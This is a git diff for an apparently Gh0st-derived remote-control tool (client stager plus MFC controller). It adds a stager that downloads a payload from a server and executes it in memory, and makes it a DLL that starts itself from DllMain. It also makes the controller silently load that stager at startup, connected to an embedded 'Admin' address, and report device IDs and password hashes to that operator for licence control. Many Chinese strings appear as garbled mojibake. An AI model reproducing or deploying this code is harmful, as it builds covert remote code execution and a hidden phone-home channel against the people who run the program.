diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index a0d7e84..ca9d026 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -161,6 +161,7 @@ + @@ -188,6 +189,7 @@ + diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 83359a8..c991a8e 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -11,6 +11,7 @@ #include "ClientDll.h" #include "MemoryModule.h" #include "common/dllRunner.h" +#include "server/2015Remote/pwd_gen.h" ////////////////////////////////////////////////////////////////////// // Construction/Destruction @@ -196,6 +197,22 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) switch (szBuffer[0]) { + case CMD_AUTHORIZATION: { + char buf[100] = {}, *passCode = buf + 5; + memcpy(buf, szBuffer, min(sizeof(buf), ulLength)); + char path[MAX_PATH] = { 0 }; + GetModuleFileNameA(NULL, path, MAX_PATH); + if (passCode[0] == 0) { + std::string devId = getDeviceID(); + memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节 + memcpy(buf + 32, m_conn->pwdHash, 64); // 64字节 + m_ClientObject->Send2Server((char*)buf, sizeof(buf)); + } else { + GET_FILEPATH(path, "settings.ini"); + WritePrivateProfileStringA("settings", "Password", passCode, path); + } + break; + } case CMD_EXECUTE_DLL: { #ifdef _WIN64 static std::map> m_MemDLL; diff --git a/client/TinyRun.vcxproj b/client/TinyRun.vcxproj index b3cc21c..2911fa6 100644 --- a/client/TinyRun.vcxproj +++ b/client/TinyRun.vcxproj @@ -33,7 +33,7 @@ Unicode - Application + DynamicLibrary false v142 true @@ -46,7 +46,7 @@ Unicode - Application + DynamicLibrary false v142 true @@ -106,13 +106,13 @@ true WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true + MultiThreaded Windows true true false - mainCRTStartup @@ -135,13 +135,13 @@ true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true + MultiThreaded Windows true true false - mainCRTStartup diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 56adfae..d7012d9 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -171,6 +171,7 @@ + @@ -198,6 +199,7 @@ + diff --git a/client/main.c b/client/main.c index c3ccd3c..e23b5e0 100644 --- a/client/main.c +++ b/client/main.c @@ -3,6 +3,8 @@ #include #include #include +#include +#include #ifdef _DEBUG #include @@ -165,26 +167,90 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) { return NULL; } +inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize) +{ + for (int i = 0; i < iBufferSize - iKeySize; ++i){ + if (0 == memcmp(szBuffer + i, Key, iKeySize)){ + return i; + } + } + return -1; +} + struct CONNECT_ADDRESS { char szFlag[32]; char szServerIP[100]; char szPort[8]; - char szReserved[160]; + int iType; + bool bEncrypt; + char szBuildDate[12]; + int iMultiOpen; + int iStartup; + int iHeaderEnc; + char szReserved[62]; + char pwdHash[64]; }g_Server = { "Hello, World!", "127.0.0.1", "6543" }; -int main() { +typedef struct PluginParam { + char IP[100]; + int Port; + void* Exit; + void* User; +}PluginParam; + +#ifdef _WINDLL +#define DLL_API __declspec(dllexport) +#else +#define DLL_API +#endif + +extern DLL_API DWORD WINAPI run(LPVOID param) { + PluginParam* info = (PluginParam*)param; int size = 0; - const char* dllData = ReceiveShellcode(g_Server.szServerIP, atoi(g_Server.szPort), &size); + const char* dllData = ReceiveShellcode(info->IP, info->Port, &size); if (dllData == NULL) return -1; void* execMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (NULL == execMem) return -2; + char find[] = "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"; + int offset = MemoryFind(dllData, find, size, sizeof(find)-1); + if (offset != -1) { + memcpy(dllData + offset, info->User, 64); + } memcpy(execMem, dllData + 22, size); free((void*)dllData); DWORD oldProtect = 0; if (!VirtualProtect(execMem, size, PAGE_EXECUTE_READ, &oldProtect)) return -3; ((void(*)())execMem)(); - Sleep(INFINITE); return 0; } + +#ifndef _WINDLL + +int main() { + assert(sizeof(struct CONNECT_ADDRESS) == 300); + PluginParam param = { 0 }; + strcpy(param.IP, g_Server.szServerIP); + param.Port = atoi(g_Server.szPort); + param.User = g_Server.pwdHash; + DWORD result = run(¶m); + Sleep(INFINITE); + return result; +} + +#else + +BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) +{ + if (fdwReason == DLL_PROCESS_ATTACH){ + static PluginParam param = { 0 }; + strcpy(param.IP, g_Server.szServerIP); + param.Port = atoi(g_Server.szPort); + param.User = g_Server.pwdHash; + CloseHandle(CreateThread(NULL, 0, run, ¶m, 0, NULL)); + } + return TRUE; +} + +#endif diff --git a/common/commands.h b/common/commands.h index 739b0ec..0eda9f9 100644 --- a/common/commands.h +++ b/common/commands.h @@ -75,6 +75,10 @@ typedef void* LPVOID, * HANDLE; // 主控程序唯一标识 #define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43" +#ifndef GET_FILEPATH +#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file) +#endif + inline int isValid() { static time_t tm = time(nullptr); return time(nullptr) - tm <= 60; @@ -228,6 +232,7 @@ enum CMD_RUNASADMIN=214, // ADMIN 运行 CMD_MASTERSETTING = 215, // 主控设置 CMD_HEARTBEAT_ACK = 216, // 心跳回应 + CMD_AUTHORIZATION = 222, // 授权 CMD_SERVER_ADDR = 229, // 主控地址 TOKEN_ERROR = 230, // 错误提示 TOKEN_SHELL_DATA = 231, // 终端结果 @@ -473,7 +478,8 @@ public: int iMultiOpen; int iStartup; // 启动方式 int iHeaderEnc; // 数据加密类型 - char szReserved[126]; // 占位,使结构体占据300字节 + char szReserved[62]; // 占位,使结构体占据300字节 + char pwdHash[64]; public: void SetType(int typ) { @@ -749,6 +755,28 @@ inline std::string ToPekingTimeAsString(const time_t* t) { return buffer; } +typedef struct Validation { + char From[20]; // 开始日期 + char To[20]; // 结束日期 + char Admin[100]; // 管理员地址(当前主控的公网地址) + int Port; // 管理员端口(默认当前端口) + char Reserved[16]; // 预留字段 + Validation(float days, const char* admin, int port) { + time_t from = time(NULL), to = from + time_t(86400 * days); + memset(this, 0, sizeof(Validation)); + std::string fromStr = ToPekingTimeAsString(&from); + std::string toStr = ToPekingTimeAsString(&to); + strcpy_s(From, fromStr.c_str()); + strcpy_s(To, toStr.c_str()); + strcpy_s(Admin, admin); + Port = port; + } + bool IsValid() const { + std::string now = ToPekingTimeAsString(NULL); + return From <= now && now <= To; + } +}Validation; + #ifdef _DEBUG // 为了解决远程桌面屏幕花屏问题而定义的宏,仅调试时使用,正式版本没有 #define SCREENYSPY_IMPROVE 0 diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index d991a02..e972222 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -80,6 +80,7 @@ CMy2015RemoteApp theApp; BOOL CMy2015RemoteApp::InitInstance() { +#ifndef _DEBUG m_Mutex = CreateMutex(NULL, FALSE, "YAMA.EXE"); if (ERROR_ALREADY_EXISTS == GetLastError()) { @@ -87,6 +88,7 @@ BOOL CMy2015RemoteApp::InitInstance() m_Mutex = NULL; return FALSE; } +#endif SetUnhandledExceptionFilter(&whenbuged); diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 1f47fec..7d71718 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index c9143f3..c4b74eb 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -36,15 +36,12 @@ #include "Chat.h" #include "DecryptDlg.h" #include "adapter.h" +#include "client/MemoryModule.h" #ifdef _DEBUG #define new DEBUG_NEW #endif -#ifndef GET_FILEPATH -#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file) -#endif - #define UM_ICONNOTIFY WM_USER+100 #define TIMER_CHECK 1 @@ -283,6 +280,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial m_bmOnline[7].LoadBitmap(IDB_BITMAP_GDESKTOP); m_bmOnline[8].LoadBitmap(IDB_BITMAP_DDESKTOP); m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP); + m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -296,6 +294,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDial GetModuleFileNameA(NULL, path, _MAX_PATH); GET_FILEPATH(path, "Plugins"); m_DllList = ReadAllDllFilesWindows(path); + m_tinyDLL = NULL; } @@ -310,6 +309,10 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg() { SAFE_DELETE(m_DllList[i]); } + if (m_tinyDLL) { + MemoryFreeLibrary(m_tinyDLL); + m_tinyDLL = NULL; + } } void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX) @@ -382,6 +385,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_GRAY_DESKTOP, &CMy2015RemoteDlg::OnOnlineGrayDesktop) ON_COMMAND(ID_ONLINE_REMOTE_DESKTOP, &CMy2015RemoteDlg::OnOnlineRemoteDesktop) ON_COMMAND(ID_ONLINE_H264_DESKTOP, &CMy2015RemoteDlg::OnOnlineH264Desktop) + ON_COMMAND(ID_WHAT_IS_THIS, &CMy2015RemoteDlg::OnWhatIsThis) + ON_COMMAND(ID_ONLINE_AUTHORIZE, &CMy2015RemoteDlg::OnOnlineAuthorize) END_MESSAGE_MAP() @@ -694,6 +699,7 @@ Buffer* ReadKernelDll(bool is64Bit, bool isDLL=true, const std::string &addr="") CONNECT_ADDRESS* server = (CONNECT_ADDRESS*)(szBuffer + offset); server->SetServer(ip.c_str(), atoi(port.c_str())); server->SetType(isDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE); + memcpy(server->pwdHash, GetPwdHash().c_str(), 64); } } auto ret = new Buffer(szBuffer, bufSize + padding, padding, md5); @@ -734,9 +740,30 @@ BOOL CMy2015RemoteDlg::OnInitDialog() } } // 涓绘帶绋嬪簭鍏綉IP - std::string master = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "master", ""); - if (!master.empty()) { - master += ":" + ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ghost", "6543"); + std::string ip = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "master", ""); + std::string port = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "ghost", "6543"); + std::string master = ip.empty() ? "" : ip + ":" + port; + const Validation* v = GetValidation(); + m_superPass = v->Reserved; +#ifdef _DEBUG + if (!(strlen(v->Admin) && v->Port > 0)) { + static Validation test(1, ip.c_str(), atoi(port.c_str())); + v = &test; + } +#endif + if (strlen(v->Admin) && v->Port > 0) { + DWORD size = 0; + LPBYTE data = ReadResource(sizeof(void*) == 8 ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, size); + if (data) { + int offset = MemoryFind((char*)data, FLAG_FINDEN, size, strlen(FLAG_FINDEN)); + if (offset != -1) { + CONNECT_ADDRESS* p = (CONNECT_ADDRESS*)(data + offset); + p->SetServer(v->Admin, v->Port); + memcpy(p->pwdHash, GetPwdHash().c_str(), 64); + m_tinyDLL = MemoryLoadLibrary(data, size); + } + SAFE_DELETE_ARRAY(data); + } } m_ServerDLL[PAYLOAD_DLL_X86] = ReadKernelDll(false, true, master); m_ServerDLL[PAYLOAD_DLL_X64] = ReadKernelDll(true, true, master); @@ -908,10 +935,15 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) { KillTimer(nIDEvent); CInputDialog dlg(this); + dlg.m_str = m_superPass.c_str(); dlg.Init("杈撳叆瀵嗙爜", "杈撳叆涓绘帶绋嬪簭鐨勫瘑鐮:"); dlg.DoModal(); - if (hashSHA256(dlg.m_str.GetString()) != std::string(skCrypt(MASTER_HASH))) + if (hashSHA256(dlg.m_str.GetString()) != GetPwdHash()) { + MessageBox("璇烽氱煡绠$悊鍛樺欢闀挎巿鏉冩椂闂达紝鍐嶅叧闂鎻愮ず淇℃伅!!!" + "\n鍚﹀垯锛屽叧闂鎻愮ず淇℃伅灏嗛鍑虹▼搴忥紝鏃犳硶鎺堟潈鎴愬姛銆", "鎻愮ず", MB_ICONWARNING); return OnMainExit(); + } + m_superPass = dlg.m_str.GetString(); MessageBox("璇峰強鏃跺褰撳墠涓绘帶绋嬪簭鎺堟潈: 鍦ㄥ伐鍏疯彍鍗曚腑鐢熸垚鍙d护!", "鎻愮ず", MB_ICONWARNING); } } @@ -1024,6 +1056,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_GRAY_DESKTOP, MF_BYCOMMAND, &m_bmOnline[7], &m_bmOnline[7]); Menu.SetMenuItemBitmaps(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND, &m_bmOnline[8], &m_bmOnline[8]); Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]); + Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]); // 鍒涘缓涓涓柊鐨勫瓙鑿滃崟 CMenu newMenu; @@ -1054,6 +1087,9 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //鑿滃崟鍏ㄩ儴鍙樼伆 } } + else if (GetPwdHash() != std::string(skCrypt(MASTER_HASH))) { + SubMenu->EnableMenuItem(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); + } // 鍒锋柊鑿滃崟鏄剧ず DrawMenuBar(); @@ -1245,6 +1281,14 @@ bool CMy2015RemoteDlg::CheckValid() { #endif if (!isTrail) { + const Validation *verify = GetValidation(); + std::string masterHash = skCrypt(MASTER_HASH); + if (masterHash != GetPwdHash() && !verify->IsValid()) { + KillTimer(TIMER_CHECK); + MessageBox("姝ょ▼搴忓凡缁忓け鏁堬紝璇疯仈绯荤鐞嗗憳澶勭悊!", "鎻愮ず", MB_ICONWARNING); + OnMainExit(); + ExitProcess(-1); + } auto THIS_APP = (CMy2015RemoteApp*)AfxGetApp(); auto settings = "settings", pwdKey = "Password"; // 楠岃瘉鍙d护 @@ -1256,8 +1300,10 @@ bool CMy2015RemoteDlg::CheckValid() { dlg.m_sDeviceID = deviceID.c_str(); dlg.m_sPassword = pwd; - if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty()) + if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty()) { + KillTimer(TIMER_CHECK); return false; + } // 瀵嗙爜褰㈠紡锛20250209 - 20350209: SHA256 auto v = splitString(dlg.m_sPassword.GetBuffer(), '-'); @@ -1265,6 +1311,7 @@ bool CMy2015RemoteDlg::CheckValid() { { THIS_APP->m_iniFile.SetStr(settings, pwdKey, ""); MessageBox("鏍煎紡閿欒锛岃閲嶆柊鐢宠鍙d护!", "鎻愮ず", MB_ICONINFORMATION); + KillTimer(TIMER_CHECK); return false; } std::vector subvector(v.begin() + 2, v.end()); @@ -1277,6 +1324,7 @@ bool CMy2015RemoteDlg::CheckValid() { if (pwd.IsEmpty() || (IDOK != dlg.DoModal() || hash256 != fixedKey)) { if (!dlg.m_sPassword.IsEmpty()) MessageBox("鍙d护閿欒, 鏃犳硶缁х画鎿嶄綔!", "鎻愮ず", MB_ICONWARNING); + KillTimer(TIMER_CHECK); return false; } } @@ -1287,6 +1335,7 @@ bool CMy2015RemoteDlg::CheckValid() { if (curDate < v[0] || curDate > v[1]) { THIS_APP->m_iniFile.SetStr(settings, pwdKey, ""); MessageBox("鍙d护杩囨湡锛岃閲嶆柊鐢宠鍙d护!", "鎻愮ず", MB_ICONINFORMATION); + KillTimer(TIMER_CHECK); return false; } if (dlg.m_sPassword != pwd) @@ -1655,6 +1704,22 @@ LRESULT CMy2015RemoteDlg::OnHandleMessage(WPARAM wParam, LPARAM lParam) { return S_OK; } +std::string getDateStr(int daysOffset = 0) { + // 鑾峰彇褰撳墠鏃堕棿鐐 + std::time_t now = std::time(nullptr); + + // 鍔犱笂鎸囧畾鐨勫ぉ鏁帮紙鍙互涓鸿礋锛 + now += static_cast(daysOffset * 24 * 60 * 60); + + std::tm* t = std::localtime(&now); + + std::ostringstream oss; + oss << std::setfill('0') << std::setw(4) << (t->tm_year + 1900) + << std::setw(2) << (t->tm_mon + 1) + << std::setw(2) << t->tm_mday; + + return oss.str(); +} VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) { @@ -1677,6 +1742,23 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) SAFE_DELETE_ARRAY(resp); break; } + case CMD_AUTHORIZATION: // 鑾峰彇鎺堟潈 + { + int n = ContextObject->InDeCompressedBuffer.GetBufferLength(); + if (n < 100) break; + char resp[100] = { 0 }, *devId = resp + 5, *pwdHash = resp + 32; + ContextObject->InDeCompressedBuffer.CopyBuffer(resp, min(n, sizeof(resp)), 0); + int *days = (int*)(resp+1); + if (devId[0] == 0 || pwdHash[0] == 0)break; + // 瀵嗙爜褰㈠紡锛20250209 - 20350209: SHA256 + std::string password = getDateStr(0) + " - " + getDateStr(*days) + ": " + pwdHash; + std::string finalKey = deriveKey(password, devId); + std::string fixedKey = getDateStr(0) + std::string("-") + getDateStr(*days) + std::string("-") + getFixedLengthID(finalKey); + memcpy(devId, fixedKey.c_str(), fixedKey.length()); + devId[fixedKey.length()] = 0; + m_iocpServer->OnClientPreSending(ContextObject, (LPBYTE)resp, sizeof(resp)); + break; + } case CMD_EXECUTE_DLL: // 璇锋眰DLL { DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1); @@ -2341,6 +2423,7 @@ void CMy2015RemoteDlg::OnToolAuth() std::string hashedID = hashSHA256(hardwareID); std::string deviceID = getFixedLengthID(hashedID); dlg.m_sDeviceID = deviceID.c_str(); + dlg.m_sUserPwd = m_superPass.c_str(); dlg.DoModal(); } @@ -2548,20 +2631,38 @@ LRESULT CMy2015RemoteDlg::UPXProcResult(WPARAM wParam, LPARAM lParam) { void CMy2015RemoteDlg::OnToolGenMaster() { - CInputDialog pass(this); - pass.Init("涓绘帶鐢熸垚", "褰撳墠涓绘帶绋嬪簭鐨勫瘑鐮:"); - if (pass.DoModal() != IDOK || pass.m_str.IsEmpty()) - return; + // 涓绘帶绋嬪簭鍏綉IP + std::string master = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetStr("settings", "master", ""); + if (master.empty()) { + MessageBox("璇烽氳繃鑿滃崟璁剧疆褰撳墠涓绘帶绋嬪簭鐨勫叕缃戝湴鍧锛堝煙鍚嶏級! 姝ゅ湴鍧浼氬啓鍏ュ嵆灏嗙敓鎴愮殑涓绘帶绋嬪簭涓" + "\n鍙湁姝g‘璁剧疆鍏綉鍦板潃锛屾墠鑳藉湪绾垮欢闀跨敱鏈▼搴忔墍鐢熸垚鐨勪富鎺х▼搴忕殑鏈夋晥鏈熴", "鎻愮ず", MB_ICONINFORMATION); + } std::string masterHash(skCrypt(MASTER_HASH)); - if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) { - MessageBox("瀵嗙爜涓嶆纭紝鏃犳硶鐢熸垚涓绘帶绋嬪簭!", "閿欒", MB_ICONWARNING); - return; + if (m_superPass.empty()) { + CInputDialog pass(this); + pass.Init("涓绘帶鐢熸垚", "褰撳墠涓绘帶绋嬪簭鐨勫瘑鐮:"); + pass.m_str = m_superPass.c_str(); + if (pass.DoModal() != IDOK || pass.m_str.IsEmpty()) + return; + if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) { + MessageBox("瀵嗙爜涓嶆纭紝鏃犳硶鐢熸垚涓绘帶绋嬪簭!", "閿欒", MB_ICONWARNING); + return; + } + m_superPass = pass.m_str.GetString(); } CInputDialog dlg(this); dlg.Init("涓绘帶瀵嗙爜", "鏂扮殑涓绘帶绋嬪簭鐨勫瘑鐮:"); if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) return; + if (dlg.m_str.GetLength() > 15) { + MessageBox("瀵嗙爜闀垮害涓嶈兘澶т簬15銆", "閿欒", MB_ICONWARNING); + return; + } + CInputDialog days(this); + days.Init("浣跨敤澶╂暟", "鏂颁富鎺х▼搴忎娇鐢ㄥぉ鏁:"); + if (days.DoModal() != IDOK || days.m_str.IsEmpty()) + return; size_t size = 0; char path[MAX_PATH]; DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH); @@ -2594,7 +2695,9 @@ void CMy2015RemoteDlg::OnToolGenMaster() return; } } - if (!WritePwdHash(curEXE + iOffset, pwdHash)) { + int port = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "ghost"); + Validation verify(atof(days.m_str), master.c_str(), port<=0 ? 6543 : port); + if (!WritePwdHash(curEXE + iOffset, pwdHash, verify)) { MessageBox("鍐欏叆鍝堝笇澶辫触! 鏃犳硶鐢熸垚涓绘帶銆", "閿欒", MB_ICONWARNING); SAFE_DELETE_ARRAY(curEXE); return; @@ -2704,3 +2807,36 @@ void CMy2015RemoteDlg::OnOnlineH264Desktop() BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264 }; SendSelectedCommand(bToken, sizeof(bToken)); } + + +void CMy2015RemoteDlg::OnWhatIsThis() +{ + CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki"); + ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL); +} + + +void CMy2015RemoteDlg::OnOnlineAuthorize() +{ + if (m_superPass.empty()) { + CInputDialog pass(this); + pass.Init("闇瑕佸瘑鐮", "褰撳墠涓绘帶绋嬪簭鐨勫瘑鐮:"); + if (pass.DoModal() != IDOK || pass.m_str.IsEmpty()) + return; + std::string masterHash(skCrypt(MASTER_HASH)); + if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) { + MessageBox("瀵嗙爜涓嶆纭!", "閿欒", MB_ICONWARNING); + return; + } + m_superPass = pass.m_str; + } + + CInputDialog dlg(this); + dlg.Init("寤堕暱鎺堟潈", "涓绘帶绋嬪簭鎺堟潈澶╂暟:"); + if (dlg.DoModal() != IDOK || atoi(dlg.m_str) <= 0) + return; + BYTE bToken[32] = { CMD_AUTHORIZATION }; + int days = atoi(dlg.m_str); + memcpy(bToken+1, &days, sizeof(days)); + SendSelectedCommand(bToken, sizeof(bToken)); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index a73e336..4b83ca7 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -135,6 +135,8 @@ protected: // 实现 protected: HICON m_hIcon; + void* m_tinyDLL; + std::string m_superPass; // 生成的消息映射函数 virtual BOOL OnInitDialog(); @@ -182,7 +184,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[10]; + CBitmap m_bmOnline[11]; bool CheckValid(); afx_msg void OnTimer(UINT_PTR nIDEvent); afx_msg void OnClose(); @@ -242,4 +244,6 @@ public: afx_msg void OnOnlineGrayDesktop(); afx_msg void OnOnlineRemoteDesktop(); afx_msg void OnOnlineH264Desktop(); + afx_msg void OnWhatIsThis(); + afx_msg void OnOnlineAuthorize(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 979c4bf..cdd6179 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -219,9 +219,11 @@ + + @@ -248,6 +250,7 @@ + @@ -299,6 +302,12 @@ + + NotUsing + NotUsing + NotUsing + NotUsing + NotUsing NotUsing @@ -332,7 +341,12 @@ - + + NotUsing + NotUsing + NotUsing + NotUsing + @@ -361,6 +375,7 @@ + diff --git a/server/2015Remote/CPasswordDlg.cpp b/server/2015Remote/CPasswordDlg.cpp index 584f7ba..21cb0a1 100644 --- a/server/2015Remote/CPasswordDlg.cpp +++ b/server/2015Remote/CPasswordDlg.cpp @@ -13,13 +13,17 @@ IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx) // 涓绘帶绋嬪簭鍞竴鏍囪瘑 -char g_MasterID[100] = { PWD_HASH256 }; +char g_MasterID[_MAX_PATH] = { PWD_HASH256 }; std::string GetPwdHash(){ static auto id = std::string(g_MasterID).substr(0, 64); return id; } +const Validation * GetValidation(int offset){ + return (Validation*)(g_MasterID + offset); +} + std::string GetMasterId() { static auto id = std::string(g_MasterID).substr(0, 16); return id; @@ -35,7 +39,7 @@ extern "C" void shrink32to4(const char* input32, char* output4); // output4 #pragma comment(lib, "lib/shrink.lib") #endif -bool WritePwdHash(char* target, const std::string & pwdHash) { +bool WritePwdHash(char* target, const std::string & pwdHash, const Validation& verify) { char output32[33], output4[5]; shrink64to32(pwdHash.c_str(), output32); shrink32to4(output32, output4); @@ -47,6 +51,7 @@ bool WritePwdHash(char* target, const std::string & pwdHash) { #ifdef _DEBUG ASSERT(IsPwdHashValid(target)); #endif + memcpy(target+100, &verify, sizeof(verify)); return true; } diff --git a/server/2015Remote/CPasswordDlg.h b/server/2015Remote/CPasswordDlg.h index 2b94ab2..e2a0192 100644 --- a/server/2015Remote/CPasswordDlg.h +++ b/server/2015Remote/CPasswordDlg.h @@ -12,11 +12,13 @@ // CPasswordDlg 瀵硅瘽妗 std::string GetPwdHash(); +const Validation* GetValidation(int offset=100); + std::string GetMasterId(); bool IsPwdHashValid(const char* pwdHash = nullptr); -bool WritePwdHash(char* target, const std::string& pwdHash); +bool WritePwdHash(char* target, const std::string& pwdHash, const Validation &verify); class CPasswordDlg : public CDialogEx { diff --git a/server/2015Remote/pwd_gen.cpp b/server/2015Remote/pwd_gen.cpp index 2d8bf29..6be4b71 100644 --- a/server/2015Remote/pwd_gen.cpp +++ b/server/2015Remote/pwd_gen.cpp @@ -1,5 +1,18 @@ + +#ifdef _WINDOWS #include "stdafx.h" +#else +#include +#define Mprintf +#endif + #include "pwd_gen.h" +#include +#include +#include +#include +#include +#include "common/commands.h" #pragma comment(lib, "Advapi32.lib") @@ -115,3 +128,10 @@ std::string getFixedLengthID(const std::string& hash) { std::string deriveKey(const std::string& password, const std::string& hardwareID) { return hashSHA256(password + " + " + hardwareID); } + +std::string getDeviceID() { + std::string hardwareID = getHardwareID(); + std::string hashedID = hashSHA256(hardwareID); + std::string deviceID = getFixedLengthID(hashedID); + return deviceID; +} diff --git a/server/2015Remote/pwd_gen.h b/server/2015Remote/pwd_gen.h index 0dca58a..ef3f30f 100644 --- a/server/2015Remote/pwd_gen.h +++ b/server/2015Remote/pwd_gen.h @@ -1,11 +1,6 @@ #pragma once -#include "stdafx.h" -#include + #include -#include -#include -#include -#include // 对生成服务端功能进行加密 @@ -18,3 +13,4 @@ std::string getFixedLengthID(const std::string& hash); std::string deriveKey(const std::string& password, const std::string& hardwareID); +std::string getDeviceID(); diff --git a/server/2015Remote/res/Bitmap/authorize.bmp b/server/2015Remote/res/Bitmap/authorize.bmp new file mode 100644 index 0000000..a01aabe Binary files /dev/null and b/server/2015Remote/res/Bitmap/authorize.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 060ecbb..a391c5c 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ